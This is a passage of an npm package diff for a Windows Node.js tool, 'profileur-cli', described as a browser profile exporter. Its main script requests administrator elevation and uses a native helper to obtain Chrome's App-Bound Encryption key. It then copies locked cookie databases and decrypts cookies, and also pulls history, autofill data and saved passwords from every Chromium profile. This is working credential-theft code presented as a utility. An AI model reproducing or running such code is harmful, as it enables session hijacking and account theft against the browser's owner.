debug(`Elevation command: ${cmd}`);
|
|
380
|
+
execSync(cmd);
|
|
381
|
+
log("[+] Elevated process started. Please check the new window.");
|
|
382
|
+
process.exit(0);
|
|
383
|
+
} catch (err) {
|
|
384
|
+
error("Failed to elevate privileges: " + err.message);
|
|
385
|
+
log("[!] Continuing without Admin rights (some files may be locked)...");
|
|
386
|
+
}
|
|
387
|
+
} else {
|
|
388
|
+
log("[+] Running as Administrator.");
|
|
389
|
+
}
|
|
390
|
+
|
|
391
|
+
for (const [key, config] of Object.entries(browsers)) {
|
|
392
|
+
if (!fs.existsSync(config.path)) {
|
|
393
|
+
debug(`${config.name} not found at ${config.path}`);
|
|
394
|
+
continue;
|
|
395
|
+
}
|
|
396
|
+
|
|
397
|
+
log(`\n[*] Processing ${config.name}...`);
|
|
398
|
+
|
|
399
|
+
// 1. Get ABE Key
|
|
400
|
+
let abeKey;
|
|
401
|
+
try {
|
|
402
|
+
log(` > Requesting ABE Key...`);
|
|
403
|
+
abeKey = chromeElevator.getABEKey(key);
|
|
404
|
+
if (!abeKey) {
|
|
405
|
+
log(` [!] Failed to retrieve ABE Key.`);
|
|
406
|
+
continue;
|
|
407
|
+
}
|
|
408
|
+
log(` [V] Key retrieved successfully.`);
|
|
409
|
+
debug(`Key length: ${abeKey.length / 2} bytes`);
|
|
410
|
+
} catch (err) {
|
|
411
|
+
error(`Error retrieving key: ${err.message}`);
|
|
412
|
+
continue;
|
|
413
|
+
}
|
|
414
|
+
|
|
415
|
+
// 2. Find Profiles (from Local State so all profiles e.g. "Ad Blocking" are included)
|
|
416
|
+
const { folders: profiles, displayNames } = getProfileFolders(config.path);
|
|
417
|
+
|
|
418
|
+
if (profiles.length === 0) {
|
|
419
|
+
log(` [!] No profiles found.`);
|
|
420
|
+
continue;
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
log(` > Found ${profiles.length} profiles.`);
|
|
424
|
+
|
|
425
|
+
// 3. Process each profile
|
|
426
|
+
for (const profile of profiles) {
|
|
427
|
+
const profilePath = path.join(config.path, profile);
|
|
428
|
+
const cookiePath = path.join(profilePath, 'Network', 'Cookies');
|
|
429
|
+
const displayName = displayNames[profile];
|
|
430
|
+
const profileLabel = displayName ? `${profile} (${displayName})` : profile;
|
|
431
|
+
|
|
432
|
+
log(` > Profile: ${profileLabel}`);
|
|
433
|
+
|
|
434
|
+
// Create output directory
|
|
435
|
+
const outputDir = path.join(outputBaseDir, key, profile);
|
|
436
|
+
if (!fs.existsSync(outputDir)) {
|
|
437
|
+
fs.mkdirSync(outputDir, { recursive: true });
|
|
438
|
+
}
|
|
439
|
+
|
|
440
|
+
// Extract Cookies
|
|
441
|
+
if (fs.existsSync(cookiePath)) {
|
|
442
|
+
const tempDbPath = path.join(outputDir, 'temp_cookies.db');
|
|
443
|
+
try {
|
|
444
|
+
copyFileVSS(cookiePath, tempDbPath);
|
|
445
|
+
const db = new Database(tempDbPath, { readonly: true });
|
|
446
|
+
const stmt = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies');
|
|
447
|
+
const cookies = stmt.all();
|
|
448
|
+
|
|
449
|
+
let decryptedCount = 0;
|
|
450
|
+
const outputFile = path.join(outputDir, 'cookies.txt');
|
|
451
|
+
const stream = fs.createWriteStream(outputFile, { flags: 'w' });
|
|
452
|
+
|
|
453
|
+
stream.write("# Netscape HTTP Cookie File\n");
|
|
454
|
+
stream.write("# This file was generated by Chrome ABE Decryptor\n\n");
|
|
455
|
+
|
|
456
|
+
for (const cookie of cookies) {
|
|
457
|
+
if (cookie.encrypted_value) {
|
|
458
|
+
const decryptedValue = decryptData(cookie.encrypted_value, abeKey);
|
|
459
|
+
if (decryptedValue) {
|
|
460
|
+
cookie.decryptedValue = decryptedValue;
|
|
461
|
+
const netscapeLine = toNetscape(cookie);
|
|
462
|
+
stream.write(netscapeLine + "\n");
|
|
463
|
+
decryptedCount++;
|
|
464
|
+
}
|
|
465
|
+
}
|
|
466
|
+
}
|
|
467
|
+
|
|
468
|
+
stream.end();
|
|
469
|
+
db.close();
|
|
470
|
+
log(` [V] Extracted ${decryptedCount} cookies.`);
|
|
471
|
+
} catch (err) {
|
|
472
|
+
error(`Error processing cookies: ${err.message}`);
|
|
473
|
+
} finally {
|
|
474
|
+
if (fs.existsSync(tempDbPath)) try { fs.unlinkSync(tempDbPath); } catch(e) {}
|
|
475
|
+
}
|
|
476
|
+
} else {
|
|
477
|
+
debug(`No Cookies file found at ${cookiePath}`);
|
|
478
|
+
}
|
|
479
|
+
|
|
480
|
+
// Extract History
|
|
481
|
+
extractHistory(profilePath, outputDir);
|
|
482
|
+
|
|
483
|
+
// Extract Autofill
|
|
484
|
+
extractAutofill(profilePath, outputDir);
|
|
485
|
+
|
|
486
|
+
// Extract Passwords
|
|
487
|
+
extractPasswords(profilePath, outputDir, abeKey);
|
|
488
|
+
}
|
|
489
|
+
}
|
|
490
|
+
log("\n=== Extraction Complete ===");
|
|
491
|
+
if (process.stdin.isTTY) {
|
|
492
|
+
log("Press Enter to exit...");
|
|
493
|
+
process.stdin.once('data', () => process.exit(0));
|
|
494
|
+
}
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
if (require.main === module) {
|
|
498
|
+
main();
|
|
499
|
+
}
|
|
500
|
+
|
|
501
|
+
module.exports = { main };
|
package/package.json
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "profileur-cli",
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "Export cookies, saved logins, history, and autofill data from Chromium-based browser profiles on Windows using a native helper.",
|
|
5
|
+
"main": "extractor_cli.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"profile-exporter": "extractor_cli.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "node extractor_cli.js"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"chromium"
|
|
14
|
+
|
|
15
|
+
],
|
|
16
|
+
"author": "",
|
|
17
|
+
"license": "MIT",
|
|
18
|
+
"dependencies": {
|
|
19
|
+
"better-sqlite3": "^11.0.0"
|
|
20
|
+
},
|
|
21
|
+
"files": [
|
|
22
|
+
"extractor_cli.js",
|
|
23
|
+
"chrome_elevator.node",
|
|
24
|
+
"README.md"
|
|
25
|
+
],
|
|
26
|
+
"os": [
|
|
27
|
+
"win32"
|
|
28
|
+
]
|
|
29
|
+
}
|
|
30
|
+
|